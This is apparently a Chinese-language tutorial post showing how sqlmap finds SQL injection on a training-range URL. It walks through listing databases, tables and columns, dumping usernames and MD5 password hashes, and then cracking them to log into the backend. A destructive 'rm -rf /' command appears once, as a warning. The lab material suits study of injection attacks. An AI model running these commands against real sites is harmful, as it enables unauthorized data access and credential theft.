sqlmap 使用笔记1
sqlmap 使用笔记1
仅供学习参考
MySQL 数据库
实战靶场链接
sqlmap使用
先介绍本次使用的软件环境
图如果看不清的话可以看这里
.............. root@linux
..,;:ccc,. ----------
......''';lxO. OS: Kali GNU/Linux Rolling x86_64
.....''''..........,:ld; Model: VMware Virtual Platform None
.';;;:::;,,.x, Kernel: 4.19.0-kali4-amd64
..'''. 0Xxoc:,. ... Uptime: 3 hours, 36 minutes
.... ,ONkc;,;cokOdc',. Packages: 2874
. OMo ':ddo. Shell: bash 5.0.3
dMc :OO; Resolution: 1718x926
0M. .:o. DE: GNOME
;Wd WM: GNOME Shell
;XO, WM Theme: Kali-X
,d0Odlc;,.. Theme: Kali-X [GTK2/3]
..',;:cdOOd::,. Icons: Vibrancy-Kali [GTK2/3]
.:d;.':;. Terminal: gnome-terminal
'd, .' CPU: Intel Xeon E3-1225 V2 (2) @ 3.1GHz
;l .. GPU: VMware SVGA II Adapter
.o Memory: 1126MB / 1971MB
c
.'
.
root@linux:~# sqlmap
___
__H__
___ ___["]_____ ___ ___ {1.3.4#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
Usage: python sqlmap [options]
sqlmap: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). Use -h for basic and -hh for advanced help
我使用的虚拟机平台,不建议将kali直接作为自己的日用系统.
因为kali不像其他linux发行版.kali会直接以root用户登录并执行命令.
如果哪天自己下了个未知的脚本一执行或者脑子一热执行'rm -rf /' 的话后果不堪设想.
在命令行中打开sqlmap
直接输入并回车
sqlmap
先介绍一下常用的参数:
- '--flush-session' 清空缓存
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 --flush-session
- '-u' 使用注入连接
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1
- '--dbs'列举出服务器全部数据库名
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 --dbs
- '-D' 选择数据库, '--tables'列举出所选择数据库的所有表
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 -D mozhe_Discuz_StormGroup --tables
- '-T' 选择表 '--columns' 列举出所选着表的字段信息
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 -D mozhe_Discuz_StormGroup -T StormGroup_member --columns
- '-C' 选择字段(字段之间逗号隔开,不能空格.) '--dump' 在命令行显示字段结果.
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 -D mozhe_Discuz_StormGroup -T StormGroup_member -C name,password --dump
选择注入点:
我这里靶场的注入点为
http://219.153.49.228:44466/new_list.php?id=1
因此,在控制台输入
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1
'-u' 选择注入地址
出现以下信息:
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
这是在问你这像是MySQL的数据库,是否继续测试其他数据库.说人话就是选Y它跑久些,成功率高些.(主要还是看情况)
这里节约时间选N.
然后
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
问你是否进行其他测试,选Y,回车
接下来:
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
找到一个易受到攻击的地方,是否还要继续找?节约时间选N
然后出现以下信息:
从图中可以得到以下信息:
信息 | 结果 |
---|---|
数据库类型及版本 | MySQL >=5.0.12 |
网页服务器类型及版本 | Nginx 1.10.3 |
服务器系统 | Linux Ubuntu |
到这里我们可以得知这个连接可以注入.
如果得到的不是像上图所示,可以在注入选着的时候碰碰运气.
获取服务器中的库
这里使用'--dbs'参数
命令行:
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 --dbs
得到MySQL服务器中有以下库:
库名 |
---|
information_schema |
mozhe_Discuz_StormGroup |
mysql |
performance_schema |
sys |
获取库中的表
我们这次的目标库是'mozhe_Discuz_StormGroup',因此用到'-D'以及'--tables'参数
命令行:
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 -D mozhe_Discuz_StormGroup --tables
'-D' 先选着数据库, 然后 '--tables' 列出所选数据库的表名
得到以下信息:
库名 | 表名 |
---|---|
mozhe_Discuz_StormGroup | StormGroup_member |
mozhe_Discuz_StormGroup | notice |
可以看到库中只有两张表,我们先查看第一张表的信息
查看表字段信息
先看StormGroup_member表的字段信息先.
命令行:
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 -D mozhe_Discuz_StormGroup -T StormGroup_member --columns
'-D' 选数据库,接着 '-T' 选表,最后 '--columns' 列出表字段信息.
得到:
表 | 字段名 | 数据类型 |
---|---|---|
StormGroup_member | id | int(11) |
StormGroup_member | name | varchar(20) |
StormGroup_member | password | varchar(255) |
StormGroup_member | status | int(11) |
查看字段内信息:
我们这次需要看看name,password和status字段信息.
命令行:
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 -D mozhe_Discuz_StormGroup -T StormGroup_member -C name,password,status --dump
首先出现:
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
因为password字段是使用md5加密,所以问你是否要将md5文件放到临时文件中让别的程序解密,这里我们需要它显示md5值,所以选N
接着
do you want to crack them via a dictionary-based attack? [Y/n/q]
问你是否要用字典来破解md5,因为它的字典不强大,所以我们不需要,选N
'-C' 选择字段,字段之间用','隔开,不能空格. --dump 显示结果(貌似不止)
最后得到以下信息:
name | password | status |
---|---|---|
mozhe | 356f589a7df439f6f744ff19bb8092c0 | 0 |
mozhe | 9dccf1e08d5638026f5f5a4f01109f8e | 0 |
现在就得到用户名和密码的哈希值了,如果我们需要密码的明文,就到专门解密md5的网站上去解密
得到密码,登录后台,收工.
相比于手工注入,使用工具可以更加快捷,当然成功率也是看缘分的.
本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。